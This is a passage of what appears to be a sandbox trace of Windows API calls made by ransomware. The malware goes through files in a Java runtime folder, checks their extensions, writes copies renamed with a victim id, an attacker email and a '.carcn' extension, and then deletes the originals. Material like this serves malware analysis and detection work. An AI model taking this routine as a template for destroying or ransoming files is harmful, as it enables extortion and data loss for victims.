(lpString=".doc") returned 4 [0306.423] lstrcmpiW (lpString1=".doc", lpString2="B.pf") returned -1 [0306.423] lstrlenW (lpString=".docx") returned 5 [0306.423] lstrcmpiW (lpString1=".docx", lpString2="GB.pf") returned -1 [0306.423] lstrlenW (lpString=".pdf") returned 4 [0306.423] lstrcmpiW (lpString1=".pdf", lpString2="B.pf") returned -1 [0306.423] lstrlenW (lpString=".xls") returned 4 [0306.423] lstrcmpiW (lpString1=".xls", lpString2="B.pf") returned -1 [0306.423] lstrlenW (lpString=".xlsx") returned 5 [0306.423] lstrcmpiW (lpString1=".xlsx", lpString2="GB.pf") returned -1 [0306.423] lstrlenW (lpString=".ppt") returned 4 [0306.423] lstrcmpiW (lpString1=".ppt", lpString2="B.pf") returned -1 [0306.423] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf") returned 50 [0306.423] lstrlenW (lpString=".zip") returned 4 [0306.423] lstrcmpiW (lpString1=".zip", lpString2="B.pf") returned -1 [0306.423] lstrlenW (lpString=".rar") returned 4 [0306.423] lstrcmpiW (lpString1=".rar", lpString2="B.pf") returned -1 [0306.423] lstrlenW (lpString=".bz2") returned 4 [0306.423] lstrcmpiW (lpString1=".bz2", lpString2="B.pf") returned -1 [0306.423] lstrlenW (lpString=".7z") returned 3 [0306.423] lstrcmpiW (lpString1=".7z", lpString2=".pf") returned -1 [0306.423] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf") returned 50 [0306.423] lstrlenW (lpString=".dbf") returned 4 [0306.423] lstrcmpiW (lpString1=".dbf", lpString2="B.pf") returned -1 [0306.424] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf") returned 50 [0306.424] lstrlenW (lpString=".1cd") returned 4 [0306.424] lstrcmpiW (lpString1=".1cd", lpString2="B.pf") returned -1 [0306.424] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf") returned 50 [0306.424] lstrlenW (lpString=".jpg") returned 4 [0306.424] lstrcmpiW (lpString1=".jpg", lpString2="B.pf") returned -1 [0306.424] lstrcmpiW (lpString1=".properties", lpString2=".carcn") returned 1 [0306.424] lstrlenW (lpString="content-types.properties") returned 24 [0306.424] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\content-types.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0306.424] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=5548) returned 1 [0306.424] CloseHandle (hObject=0x398) returned 1 [0306.424] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\content-types.properties")) returned 0x20 [0306.425] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\content-types.properties.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0306.425] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\content-types.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0306.425] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0306.425] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0306.425] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\content-types.properties.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0306.426] GetLastError () returned 0x0 [0306.426] ReadFile (in: hFile=0x398, lpBuffer=0x3f52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesRead=0x34ffecc*=0x15ac, lpOverlapped=0x0) returned 1 [0306.426] WriteFile (in: hFile=0x348, lpBuffer=0x3f52020*, nNumberOfBytesToWrite=0x15b0, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesWritten=0x34ffc94*=0x15b0, lpOverlapped=0x0) returned 1 [0306.428] ReadFile (in: hFile=0x398, lpBuffer=0x3f52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0306.428] WriteFile (in: hFile=0x348, lpBuffer=0x3f52020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesWritten=0x34ffc94*=0x104, lpOverlapped=0x0) returned 1 [0306.428] SetEndOfFile (hFile=0x348) returned 1 [0306.428] CloseHandle (hObject=0x348) returned 1 [0306.428] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0306.428] SetEndOfFile (hFile=0x398) returned 1 [0306.429] CloseHandle (hObject=0x398) returned 1 [0306.429] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0307.384] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\content-types.properties")) returned 1 [0307.385] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties") returned 63 [0307.385] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties") returned 63 [0307.385] lstrlenW (lpString=".doc") returned 4 [0307.385] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0307.385] lstrlenW (lpString=".docx") returned 5 [0307.385] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0307.385] lstrlenW (lpString=".pdf") returned 4 [0307.385] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0307.385] lstrlenW (lpString=".xls") returned 4 [0307.385] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0307.385] lstrlenW (lpString=".xlsx") returned 5 [0307.385] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0307.385] lstrlenW (lpString=".ppt") returned 4 [0307.385] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0307.385] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties") returned 63 [0307.385] lstrlenW (lpString=".zip") returned 4 [0307.385] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0307.385] lstrlenW (lpString=".rar") returned 4 [0307.385] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0307.385] lstrlenW (lpString=".bz2") returned 4 [0307.385] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0307.385] lstrlenW (lpString=".7z") returned 3 [0307.385] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0307.385] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties") returned 63 [0307.386] lstrlenW (lpString=".dbf") returned 4 [0307.386] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0307.386] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties") returned 63 [0307.386] lstrlenW (lpString=".1cd") returned 4 [0307.386] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0307.386] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties") returned 63 [0307.386] lstrlenW (lpString=".jpg") returned 4 [0307.386] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0307.386] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties") returned 63 [0307.386] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties") returned 63 [0307.386] lstrlenW (lpString=".doc") returned 4 [0307.386] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0307.386] lstrlenW (lpString=".docx") returned 5 [0307.386] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0307.386] lstrlenW (lpString=".pdf") returned 4 [0307.386] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0307.386] lstrlenW (lpString=".xls") returned 4 [0307.386] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0307.386] lstrlenW (lpString=".xlsx") returned 5 [0307.386] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0307.386] lstrlenW (lpString=".ppt") returned 4 [0307.386] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0307.386] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties") returned 63 [0307.386] lstrlenW (lpString=".zip") returned 4 [0307.386] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0307.386] lstrlenW (lpString=".rar") returned 4 [0307.386] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0307.386] lstrlenW (lpString=".bz2") returned 4 [0307.387] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0307.387] lstrlenW (lpString=".7z") returned 3 [0307.387] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0307.387] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties") returned 63 [0307.387] lstrlenW (lpString=".dbf") returned 4 [0307.387] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0307.387] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties") returned 63 [0307.387] lstrlenW (lpString=".1cd") returned 4 [0307.387] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0307.387] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties") returned 63 [0307.387] lstrlenW (lpString=".jpg") returned 4 [0307.387] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0307.387] lstrcmpiW (lpString1=".properties", lpString2=".carcn") returned 1 [0307.387] lstrlenW (lpString="messages_ko.properties") returned 22 [0307.387] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0307.388] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=5712) returned 1 [0307.388] CloseHandle (hObject=0x390) returned 1 [0307.388] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties")) returned 0x20 [0307.388] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0307.388] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0307.388] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0307.388] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0307.388] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0307.389] GetLastError () returned 0x0 [0307.389] ReadFile (in: hFile=0x390, lpBuffer=0x3f52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesRead=0x34ffecc*=0x1650, lpOverlapped=0x0) returned 1 [0307.390] WriteFile (in: hFile=0x384, lpBuffer=0x3f52020*, nNumberOfBytesToWrite=0x1660, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesWritten=0x34ffc94*=0x1660, lpOverlapped=0x0) returned 1 [0307.391] ReadFile (in: hFile=0x390, lpBuffer=0x3f52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0307.391] WriteFile (in: hFile=0x384, lpBuffer=0x3f52020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesWritten=0x34ffc94*=0x100, lpOverlapped=0x0) returned 1 [0307.391] SetEndOfFile (hFile=0x384) returned 1 [0307.391] CloseHandle (hObject=0x384) returned 1 [0307.391] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0307.391] SetEndOfFile (hFile=0x390) returned 1 [0307.392] CloseHandle (hObject=0x390) returned 1 [0307.392] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0307.393] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties")) returned 1 [0307.393] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 68 [0307.393] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 68 [0307.393] lstrlenW (lpString=".doc") returned 4 [0307.393] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0307.393] lstrlenW (lpString=".docx") returned 5 [0307.393] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0307.393] lstrlenW (lpString=".pdf") returned 4 [0307.393] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0307.393] lstrlenW (lpString=".xls") returned 4 [0307.393] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0307.394] lstrlenW (lpString=".xlsx") returned 5 [0307.394] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0307.394] lstrlenW (lpString=".ppt") returned 4 [0307.394] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0307.394] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 68 [0307.394] lstrlenW (lpString=".zip") returned 4 [0307.394] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0307.394] lstrlenW (lpString=".rar") returned 4 [0307.394] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0307.394] lstrlenW (lpString=".bz2") returned 4 [0307.394] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0307.394] lstrlenW (lpString=".7z") returned 3 [0307.394] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0307.394] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 68 [0307.394] lstrlenW (lpString=".dbf") returned 4 [0307.394] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0307.394] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 68 [0307.394] lstrlenW (lpString=".1cd") returned 4 [0307.394] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0307.394] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 68 [0307.394] lstrlenW (lpString=".jpg") returned 4 [0307.394] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0307.394] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 68 [0307.394] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 68 [0307.394] lstrlenW (lpString=".doc") returned 4 [0307.394] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0307.394] lstrlenW (lpString=".docx") returned 5 [0307.394] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0307.395] lstrlenW (lpString=".pdf") returned 4 [0307.395] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0307.395] lstrlenW (lpString=".xls") returned 4 [0307.395] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0307.395] lstrlenW (lpString=".xlsx") returned 5 [0307.395] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0307.395] lstrlenW (lpString=".ppt") returned 4 [0307.395] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0307.395] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 68 [0307.395] lstrlenW (lpString=".zip") returned 4 [0307.395] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0307.395] lstrlenW (lpString=".rar") returned 4 [0307.395] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0307.395] lstrlenW (lpString=".bz2") returned 4 [0307.395] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0307.395] lstrlenW (lpString=".7z") returned 3 [0307.395] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0307.395] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 68 [0307.395] lstrlenW (lpString=".dbf") returned 4 [0307.395] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0307.395] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 68 [0307.395] lstrlenW (lpString=".1cd") returned 4 [0307.395] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0307.395] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 68 [0307.395] lstrlenW (lpString=".jpg") returned 4 [0307.395] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0307.396] lstrcmpiW (lpString1=".properties", lpString2=".carcn") returned 1 [0307.396] lstrlenW (lpString="messages_pt_BR.properties") returned 25 [0307.396] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_pt_br.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0307.396] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=3285) returned 1 [0307.396] CloseHandle (hObject=0x390) returned 1 [0307.396] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_pt_br.properties")) returned 0x20 [0307.397] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_pt_br.properties.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0307.397] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_pt_br.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0307.397] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0307.397] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0307.397] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_pt_br.properties.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0307.398] GetLastError () returned 0x0 [0307.398] ReadFile (in: hFile=0x390, lpBuffer=0x3f52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesRead=0x34ffecc*=0xcd5, lpOverlapped=0x0) returned 1 [0307.398] WriteFile (in: hFile=0x384, lpBuffer=0x3f52020*, nNumberOfBytesToWrite=0xce0, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesWritten=0x34ffc94*=0xce0, lpOverlapped=0x0) returned 1 [0307.399] ReadFile (in: hFile=0x390, lpBuffer=0x3f52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0307.400] WriteFile (in: hFile=0x384, lpBuffer=0x3f52020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesWritten=0x34ffc94*=0x106, lpOverlapped=0x0) returned 1 [0307.400] SetEndOfFile (hFile=0x384) returned 1 [0307.400] CloseHandle (hObject=0x384) returned 1 [0307.400] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0307.400] SetEndOfFile (hFile=0x390) returned 1 [0307.401] CloseHandle (hObject=0x390) returned 1 [0307.401] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0307.401] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_pt_br.properties")) returned 1 [0307.402] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties") returned 71 [0307.402] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties") returned 71 [0307.402] lstrlenW (lpString=".doc") returned 4 [0307.402] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0307.402] lstrlenW (lpString=".docx") returned 5 [0307.402] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0307.402] lstrlenW (lpString=".pdf") returned 4 [0307.402] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0307.402] lstrlenW (lpString=".xls") returned 4 [0307.402] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0307.402] lstrlenW (lpString=".xlsx") returned 5 [0307.402] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0307.402] lstrlenW (lpString=".ppt") returned 4 [0307.402] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0307.402] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties") returned 71 [0307.402] lstrlenW (lpString=".zip") returned 4 [0307.402] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0307.402] lstrlenW (lpString=".rar") returned 4 [0307.403] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0307.403] lstrlenW (lpString=".bz2") returned 4 [0307.403] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0307.403] lstrlenW (lpString=".7z") returned 3 [0307.403] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0307.403] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties") returned 71 [0307.403] lstrlenW (lpString=".dbf") returned 4 [0307.403] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0307.403] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties") returned 71 [0307.403] lstrlenW (lpString=".1cd") returned 4 [0307.403] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0307.403] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties") returned 71 [0307.403] lstrlenW (lpString=".jpg") returned 4 [0307.403] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0307.403] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties") returned 71 [0307.403] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties") returned 71 [0307.403] lstrlenW (lpString=".doc") returned 4 [0307.403] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0307.403] lstrlenW (lpString=".docx") returned 5 [0307.403] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0307.403] lstrlenW (lpString=".pdf") returned 4 [0307.403] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0307.403] lstrlenW (lpString=".xls") returned 4 [0307.403] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0307.403] lstrlenW (lpString=".xlsx") returned 5 [0307.403] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0307.403] lstrlenW (lpString=".ppt") returned 4 [0307.403] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0307.404] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties") returned 71 [0307.404] lstrlenW (lpString=".zip") returned 4 [0307.404] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0307.404] lstrlenW (lpString=".rar") returned 4 [0307.404] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0307.404] lstrlenW (lpString=".bz2") returned 4 [0307.404] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0307.404] lstrlenW (lpString=".7z") returned 3 [0307.404] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0307.404] lstrlenW (lpString="C:\\Program 